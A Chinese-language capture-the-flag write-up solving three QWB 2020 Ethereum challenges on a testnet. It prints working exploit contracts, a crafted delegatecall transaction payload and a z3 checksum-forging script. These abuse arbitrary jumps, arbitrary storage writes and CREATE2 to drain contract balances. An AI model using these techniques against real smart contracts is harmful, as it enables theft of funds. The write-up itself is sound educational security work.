QWB 2020 的区块链题目,最后一题没调出来,还是太菜了
EasyFake
测试地址 ropsten@0xa8978dc9669dd26f9342e8f47da39d5c6c866cdf
由于原合约已自毁,需要参考 bytecode 的可以参考 https://ropsten.etherscan.io/address/0x23362f22ceb0eaaec5f102ae74d6da09e15c96b2#code 上的 bytecode,利用 ethervm.io 反编译的结果在 https://gist.github.com/syang-ng/eb0b1deb430a68733ec31de874b5c309 上。
可以发现 2665F77D
对应的函数存在着一个任意跳转,而 0x0740 处代码可以调用 delegatecall,且调用的地址是可控的,所以解题的思路非常清晰:
- 构造攻击合约,获得合约地址
- 根据合约地址构造 payload
攻击合约:
contract Solve {
event SendFlag(address addr);
function() external {
emit SendFlag(tx.origin);
selfdestruct(tx.origin);
}
}
发送交易,触发函数执行:
web3.eth.sendTransaction({to: "0xA8978Dc9669dd26F9342e8F47da39d5c6C866Cdf", data: "0x2665F77D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007400000000000000000000000007470Ab1bDA1D5DdfB5c1bFc36AE87746a4C9eE84" }, function(err,res){console.log(res)});
攻击相关的交易:
EasyAssembly
题目给了源代码,测试地址 ropsten@0xD0283a6180EABF69005253073CD1954E33F2a8d2
pragma solidity ^0.5.10;
contract EasyAssembly {
event SendFlag(address addr);
uint randomNumber = 0;
bytes32 private constant ownerslot = keccak256('Welcome to qwb!!! You will find this so easy ~ Happy happy :D');
bytes32[] public puzzle;
uint count = 0;
mapping(address=>bytes32) WinChecksum;
constructor() public payable {
setAddress(ownerslot, msg.sender);
}
modifier onlyWin(bytes memory code) {
require(WinChecksum[msg.sender] != 0);
bytes32 tmp = keccak256(abi.encodePacked(code));
address target;
assembly {
let t1,t2,t3
t1 := and(tmp, 0xffffffffffffffff)
t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
t3 := and(shr(0x80,tmp), 0xffffffff)
target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
}
require(address(target)==msg.sender);
_;
}
function setAddress(bytes32 _slot, address _address) internal {
bytes32 s = _slot;
assembly { sstore(s, _address) }
}
function deploy(bytes memory code) internal returns(address addr) {
assembly {
addr := create2(0, add(code, 0x20), mload(code), 0x1234)
if eq(extcodesize(addr), 0) { revert(0, 0) }
}
}
function gift() public payable {
require(count == 0);
count += 1;
if(msg.value >= address(this).balance){
emit SendFlag(msg.sender);
}else{
selfdestruct(msg.sender);
}
}
function pass(uint idx, bytes memory bytecode) public {
address addr = deploy(bytecode);
bytes32 cs = tag(bytecode);
bytes32 tmp = keccak256(abi.encodePacked(uint(1)));
uint32 v;
bool flag = false;
assembly {
let v1,v2
v := sload(add(tmp, idx))
if gt(v, sload(0)){
v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
if eq(xor(mul(v2,0x100000000), v1), cs){
flag := 1
}
}
}
if(flag){
WinChecksum[addr] = cs;
}else{
WinChecksum[addr] = bytes32(0);
}
}
function tag(bytes memory a) pure public returns(bytes32 cs) {
assembly{
let groupsize := 16
let head := add(a,groupsize)
let tail := add(head, mload(a))
let t1 := 0x13145210
let t2 := 0x80238023
let m1,m2,m3,m4,s,tmp
for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
s := 0x59129121
tmp := mload(i)
m1 := and(tmp,0xffffffff)
m2 := and(shr(0x20,tmp),0xffffffff)
m3 := and(shr(0x40,tmp),0xffffffff)
m4 := and(shr(0x60,tmp),0xffffffff)
for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } {
s := and(mul(s, 2),0xffffffff)
t2 := and(add(t1, xor(sub(mul(t1, 0x10), m1),xor(add(t1, s),add(div(t1,0x20), m2)))), 0xffffffff)
t1 := and(add(t2, xor(add(mul(t2, 0x10), m3),xor(add(t2, s),sub(div(t2,0x20), m4)))), 0xffffffff)
}
}
cs := xor(mul(t1,0x100000000),t2)
}
}
function payforflag(bytes memory code) public onlyWin(code) {
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
}
题目的要求是触发 SendFlag
,有两个思路,一是触发 gift()
但 msg.value >= address(this).balance
其实是无法满足的,因此只能考虑触发 payforflag()
。
解题思路:
- 利用
setAddress(ownerslot, msg.sender);
保存的 msg.sender 满足v, sload(0)
- padding 攻击合约的 bytecode,使其最后的计算结果满足等式
eq(xor(mul(v2,0x100000000), v1), cs)
- 利用
create2
计算地址的原理,还原 code,满足require(address(target)==msg.sender);
合约代码:
contract Solve {
function payforflag(bytes memory code) public {
EasyAssembly instance = EasyAssembly(0xD0283a6180EABF69005253073CD1954E33F2a8d2);
instance.payforflag(code);
}
function kill() public {
selfdestruct(msg.sender);
}
}
padding 脚本:
from z3 import *
def calc(v):
v1 = ((v & 0xffffffff) + ((v >> 0x20) & 0xffffffff)) & 0xffffffff
v2 = ((((v >> 0x40) & 0xffffffff) ^ ((v >> 0x60) & 0xffffffff)) + ((v >> 0x80) & 0xffffffff)) & 0xffffffff
value = (v2 << 0x20) ^ v1
return hex(value)[2::].zfill(16)
def tag(a):
if len(a) % 32 != 0:
a += '0'*(32 - len(a) % 32)
t1 = 0x13145210
t2 = 0x80238023
for i in range(0, len(a), 32):
s = 0x59129121
tmp = int(a[i:i+32], 16)
m1 = tmp & 0xffffffff
m2 = (tmp >> 0x20) & 0xffffffff
m3 = (tmp >> 0x40) & 0xffffffff
m4 = (tmp >> 0x60) & 0xffffffff
for j in range(4):
s = (s<<1) & 0xffffffff
t2 = (t1 + (((t1 << 4) - m1) ^ ((t1 + s) ^ ((t1 >> 5) + m2)))) & 0xffffffff
t1 = (t2 + (((t2 << 4) + m3) ^ ((t2 + s) ^ ((t2 >> 5) - m4)))) & 0xffffffff
return hex((t1 << 0x20) ^ t2)[2::].zfill(16)
def solve_pad(current, target):
t1, t2 = int(current[:8:], 16), int(current[8::], 16)
target_t1, target_t2 = int(target[:8:], 16), int(target[8::], 16)
s = 0x59129121
m1 = BitVec('m1', 256)
m2 = BitVec('m2', 256)
m3 = BitVec('m3', 256)
m4 = BitVec('m4', 256)
for j in range(4):
s = (s<<1) & 0xffffffff
t2 = (t1 + (((t1 << 4) - m1) ^ ((t1 + s) ^ ((t1 >> 5) + m2)))) & 0xffffffff
t1 = (t2 + (((t2 << 4) + m3) ^ ((t2 + s) ^ ((t2 >> 5) - m4)))) & 0xffffffff
solver = Solver()
solver.add(And(t1 == target_t1, t2 == target_t2))
if solver.check():
m = solver.model()
m_values = list(map(lambda x: m[x].as_long(), [m1, m2, m3, m4]))
pad = 0
for i in range(4):
pad |= m_values[i] << (0x20 * i)
return hex(pad)[2::].zfill(32)
value = 0x361778091c101ce450886123aabb8c37cfe1bc31
target = calc(value)
print(target)
src_bytecode = "608060405234801561001057600080fd5b5061023b806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806341c0e1b51461003b578063acef0f0714610045575b600080fd5b610043610100565b005b6100fe6004803603602081101561005b57600080fd5b810190808035906020019064010000000081111561007857600080fd5b82018360208201111561008a57600080fd5b803590602001918460018302840111640100000000831117156100ac57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610119565b005b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600073d0283a6180eabf69005253073cd1954e33f2a8d290508073ffffffffffffffffffffffffffffffffffffffff1663acef0f07836040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561019e578082015181840152602081019050610183565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1580156101ea57600080fd5b505af11580156101fe573d6000803e3d6000fd5b50505050505056fea265627a7a72305820f0498cbfcb75e48fd32ce61415a0803073a8761489e886c07bcd20ebc74bf5c364736f6c634300050a0032"
current = tag(src_bytecode)
print(current)
pad = solve_pad(current, target)
print(pad)
src_bytecode += '0'*(32-len(src_bytecode)%32)
assert(tag(src_bytecode+pad) == target)
print(src_bytecode+pad)
而 create2
计算地址的逻辑,按照规范 https://eips.ethereum.org/EIPS/eip-1014 定义:
keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
所以最后构造的 code 内容为
0xffD0283a6180EABF69005253073CD1954E33F2a8d200000000000000000000000000000000000000000000000000000000000012341757f78ca722937f3671dc369d44b8ba15e0db59baf13d8e2b96582ecf90781d
攻击相关的交易:
- tx@0x4cf8a7fb06b53e68fb09f21f27cb3d25ed1dfb14d1d1ae8d6f71b52d538a3478
- tx@0xd078d96bc5eba7707ee0e936af27780588c86c859eff1a0e1beb60ed9691f49f
EasySandbox(赛后解出)
测试地址 ropsten@0x14830ec81b9ffc26b44b08a025bbf3633f19a5e4
pragma solidity ^0.5.10;
contract EasySandbox {
uint256[] public writes;
mapping(address => address[]) public sons;
address public owner;
uint randomNumber = RN;
constructor() public payable {
owner = msg.sender;
sons[msg.sender].push(msg.sender);
writes.length -= 1;
}
function given_gift(uint256 _what, uint256 _where) public {
if(_where != 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9f) {
writes[_where] = _what;
}
}
function easy_sandbox(address _addr) public payable {
require(sons[owner][0] == owner);
require(writes.length != 0);
bool mark = false;
for(uint256 i = 0; i < sons[owner].length; i++) {
if(msg.sender == sons[owner][i]) {
mark = true;
}
}
require(mark);
uint256 size;
bytes memory code;
assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0);
require(code[i] != 0xf1);
require(code[i] != 0xf2);
require(code[i] != 0xf4);
require(code[i] != 0xfa);
require(code[i] != 0xff);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
require(writes.length == 0);
require(sons[owner].length == 1 && sons[owner][0] == tx.origin);
}
}
题目考点是利用 delegatecall 来清空地址的余额,且被调用的合约字节码中不能出现 0xf0
/ 0xf1
/ 0xf2
/ 0xf4
/ 0xfa
/ 0xff
这几个 opcode,即限制了对 CREATE
/ CALL
/ CALLCODE
/ DELEGATECALL
/ STATICCALL
/ SELFDESTRUCT
的调用,但题目没有限制 CREATE2
的使用,参考该 opcode 的定义,很明显本题需要我们使用 CREATE2
来清空合约的余额。

这里本人的解题思路如下:
- 构造交易,利用
given_gift()
的任意写满足require(sons[owner][0] == owner)
和msg.sender == sons[owner][i]
这两个条件 - 构造合约地址变量
_addr
,使得合约Solve1
的字节码满足对 opcode 的限制 - 构造合约
Solve2
获得其字节码,并将字节码部署在地址_addr
上 - 将合约
Solve1
的地址作为参数,调用easy_sandbox()
,然后在函数执行过程中会调用 delegatecall,触发合约Solve1
的 fallback 函数的执行,fallback 利用 opcodecreate2
创建合约,清空题目合约的余额,然后利用创建的新合约Solve2
,在构造函数中完成对题目合约的存储修改,进而满足require(writes.length == 0)
和require(sons[owner].length == 1 && sons[owner][0] == tx.origin)
这两个条件。
contract Solve1 {
function() payable external {
uint256 rn = 1;
uint256 size;
bytes memory code;
address _addr = 0x0e71e1cfbc49E50eA2b08A95A4802896E535F5B4;
assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
_addr := create2(100, add(code, 0x20), mload(code), 0x1234)
}
}
}
contract Solve2 {
constructor() public payable {
EasySandbox sb = EasySandbox(0x14830eC81B9fFC26b44b08A025BbF3633f19A5e4);
sb.given_gift(1, 0xd457532626c950612c7d2bfa3d32697a505d03005a86ecac5d5bbe3110d66ae6);
sb.given_gift(uint256(0xd160625A1b016Acf85288397AA10198eC58d4f55), 0x45f4319ccd4d0ebb459ef413191dbd4441382e8de29c0116d1341ef3e6708596);
sb.given_gift(0, 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9d);
}
function kill() public {
selfdestruct(msg.sender);
}
}
攻击的相关交易:
Tips:由于这里需要构造一个合适的合约地址(不被 opcode 黑名单限制),所以该解法需要一定的实操,看了出题师傅的 wp 知道才想起来既然是 delegatecall 的话,由于环境是题目合约的环境,所以直接用 opcode mstore
操作存储就好了(─.─||)